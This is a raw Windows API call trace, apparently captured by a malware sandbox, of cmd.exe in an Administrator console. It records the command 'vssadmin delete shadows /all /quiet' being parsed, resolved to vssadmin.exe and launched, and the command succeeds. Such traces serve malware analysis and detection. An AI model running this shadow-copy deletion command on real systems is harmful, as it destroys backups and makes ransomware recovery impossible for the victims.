[0052.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0052.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0052.783] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.783] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.783] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0052.784] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.784] GetFileType (hFile=0x120) returned 0x3 [0052.784] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.784] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.784] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.784] GetFileType (hFile=0x12c) returned 0x3 [0052.784] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0052.784] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24f738, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f738*=0x24, lpOverlapped=0x0) returned 1 [0052.784] GetProcessHeap () returned 0x350000 [0052.784] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36cd20 [0052.784] GetProcessHeap () returned 0x350000 [0052.784] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd20 | out: hHeap=0x350000) returned 1 [0052.785] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0052.785] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0052.785] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0052.785] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0052.785] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0052.785] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0052.785] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0052.785] GetProcessHeap () returned 0x350000 [0052.785] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x3697e0 [0052.785] GetProcessHeap () returned 0x350000 [0052.785] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x22) returned 0x364610 [0052.787] GetProcessHeap () returned 0x350000 [0052.787] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x48) returned 0x3698a0 [0052.788] GetConsoleOutputCP () returned 0x1b5 [0052.788] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0052.788] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0052.788] GetConsoleTitleW (in: lpConsoleTitle=0x24f6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0052.789] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0052.789] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0052.789] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0052.789] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0052.789] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0052.789] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0052.789] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0052.789] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0052.789] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0052.789] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0052.789] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0052.789] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0052.789] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0052.789] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0052.789] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0052.789] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0052.789] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0052.789] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0052.789] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0052.789] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0052.789] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0052.789] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0052.790] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0052.790] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0052.790] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0052.790] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0052.790] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0052.790] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0052.790] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0052.790] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0052.790] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0052.790] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0052.790] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0052.790] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0052.790] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0052.790] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0052.790] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0052.790] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0052.790] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0052.790] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0052.790] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0052.790] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0052.790] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0052.790] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0052.790] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0052.790] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0052.790] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0052.790] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0052.790] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0052.790] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0052.790] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0052.791] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0052.791] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0052.791] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0052.791] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0052.791] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0052.791] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0052.791] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0052.791] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0052.791] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0052.791] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0052.791] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0052.791] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0052.791] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0052.791] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0052.791] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0052.791] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0052.791] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0052.791] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0052.791] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0052.791] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0052.791] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0052.791] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0052.791] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0052.791] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0052.791] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0052.791] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0052.791] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0052.791] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0052.791] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0052.791] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0052.791] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0052.792] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0052.792] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0052.792] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0052.792] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0052.792] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0052.792] GetProcessHeap () returned 0x350000 [0052.792] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x351ab0 [0052.792] GetProcessHeap () returned 0x350000 [0052.792] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5a) returned 0x351cd0 [0052.792] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0052.793] GetProcessHeap () returned 0x350000 [0052.793] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x420) returned 0x369a80 [0052.793] SetErrorMode (uMode=0x0) returned 0x1 [0052.793] SetErrorMode (uMode=0x1) returned 0x0 [0052.793] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x369a90, lpFilePart=0x24ef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24ef80*="Desktop") returned 0x25 [0052.793] SetErrorMode (uMode=0x1) returned 0x1 [0052.793] GetProcessHeap () returned 0x350000 [0052.793] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369a80, Size=0x6e) returned 0x369a80 [0052.793] GetProcessHeap () returned 0x350000 [0052.793] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369a80) returned 0x6e [0052.793] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0052.793] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0052.793] GetProcessHeap () returned 0x350000 [0052.793] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x128) returned 0x365b70 [0052.794] GetProcessHeap () returned 0x350000 [0052.794] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x240) returned 0x369b00 [0052.800] GetProcessHeap () returned 0x350000 [0052.800] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369b00, Size=0x12a) returned 0x369b00 [0052.800] GetProcessHeap () returned 0x350000 [0052.800] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369b00) returned 0x12a [0052.800] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0052.800] GetProcessHeap () returned 0x350000 [0052.800] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe8) returned 0x369c40 [0052.800] GetProcessHeap () returned 0x350000 [0052.800] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369c40, Size=0x7e) returned 0x369c40 [0052.800] GetProcessHeap () returned 0x350000 [0052.800] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369c40) returned 0x7e [0052.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.803] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0052.803] GetLastError () returned 0x2 [0052.803] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0052.803] GetLastError () returned 0x2 [0052.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.803] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0x351d40 [0052.804] GetProcessHeap () returned 0x350000 [0052.804] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x28) returned 0x364640 [0052.804] FindClose (in: hFindFile=0x351d40 | out: hFindFile=0x351d40) returned 1 [0052.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0052.804] GetLastError () returned 0x2 [0052.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0x351d40 [0052.804] GetProcessHeap () returned 0x350000 [0052.804] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x364640, Size=0x8) returned 0x3698f0 [0052.804] FindClose (in: hFindFile=0x351d40 | out: hFindFile=0x351d40) returned 1 [0052.804] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0052.804] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0052.805] GetConsoleTitleW (in: lpConsoleTitle=0x24f240, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0052.805] GetProcessHeap () returned 0x350000 [0052.805] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x21c) returned 0x369cd0 [0052.805] GetConsoleTitleW (in: lpConsoleTitle=0x369ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0052.805] GetProcessHeap () returned 0x350000 [0052.805] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369cd0, Size=0xc0) returned 0x369cd0 [0052.805] GetProcessHeap () returned 0x350000 [0052.805] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369cd0) returned 0xc0 [0052.805] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0052.806] GetProcessHeap () returned 0x350000 [0052.806] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369cd0 | out: hHeap=0x350000) returned 1 [0052.806] InitializeProcThreadAttributeList (in: lpAttributeList=0x24eff8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24efb8 | out: lpAttributeList=0x24eff8, lpSize=0x24efb8) returned 1 [0052.806] UpdateProcThreadAttribute (in: lpAttributeList=0x24eff8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24efa8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24eff8, lpPreviousValue=0x0) returned 1 [0052.806] GetStartupInfoW (in: lpStartupInfo=0x24f110 | out: lpStartupInfo=0x24f110*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x120, hStdOutput=0x12c, hStdError=0x12c)) [0052.806] GetProcessHeap () returned 0x350000 [0052.806] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x20) returned 0x364640 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0052.806] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0052.807] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0052.807] GetProcessHeap () returned 0x350000 [0052.807] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364640 | out: hHeap=0x350000) returned 1 [0052.807] GetProcessHeap () returned 0x350000 [0052.807] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x12) returned 0x368900 [0052.808] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f030*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24efe0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x24efe0*(hProcess=0x54, hThread=0x50, dwProcessId=0x6a4, dwThreadId=0x730)) returned 1 [0052.919] CloseHandle (hObject=0x50) returned 1 [0052.919] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.919] GetProcessHeap () returned 0x350000 [0052.919] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c230 | out: hHeap=0x350000) returned 1 [0052.919] GetEnvironmentStringsW () returned 0x36aa10* [0052.919] GetProcessHeap () returned 0x350000 [0052.919] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xae8) returned 0x36b500 [0052.919] FreeEnvironmentStringsW (penv=0x36aa10) returned 1 [0052.919] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0052.919] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0052.920] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x24e8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e8e8, ReturnLength=0x0) returned 0x0 [0052.920] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x24e920, nSize=0x380, lpNumberOfBytesRead=0x24e8e0 | out: lpBuffer=0x24e920*, lpNumberOfBytesRead=0x24e8e0*=0x380) returned 1 [0052.920] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0103.770] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24ef28 | out: lpExitCode=0x24ef28*=0x0) returned 1 [0103.770] CloseHandle (hObject=0x54) returned 1 [0103.770] _vsnwprintf (in: _Buffer=0x24f198, _BufferCount=0x13, _Format="%08X", _ArgList=0x24ef38 | out: _Buffer="00000000") returned 8 [0103.770] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0103.770] GetProcessHeap () returned 0x350000 [0103.770] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36b500 | out: hHeap=0x350000) returned 1 [0103.771] GetEnvironmentStringsW () returned 0x36aa10* [0103.771] GetProcessHeap () returned 0x350000 [0103.771] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0103.771] FreeEnvironmentStringsW (penv=0x36aa10) returned 1 [0103.771] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0103.771] GetProcessHeap () returned 0x350000 [0103.771] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0103.771] GetEnvironmentStringsW () returned 0x36aa10* [0103.771] GetProcessHeap () returned 0x350000 [0103.771] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0103.771] FreeEnvironmentStringsW (penv=0x36aa10) returned 1 [0103.771] GetProcessHeap () returned 0x350000 [0103.771] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368900 | out: hHeap=0x350000) returned 1 [0103.771] DeleteProcThreadAttributeList (in: lpAttributeList=0x24eff8 | out: lpAttributeList=0x24eff8) [0103.773] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0103.774] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.774] SetConsoleMode (hConsoleHandle=0x12c, dwMode=0x0) returned 0 [0103.774] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.774] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0x4a3fe194 | out: lpMode=0x4a3fe194) returned 0 [0103.775] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.775] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a3fe198 | out: lpMode=0x4a3fe198) returned 0 [0103.775] GetConsoleOutputCP () returned 0x1b5 [0103.775] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0103.775] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369c40 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369b00 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b70 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369a80 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351cd0 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, 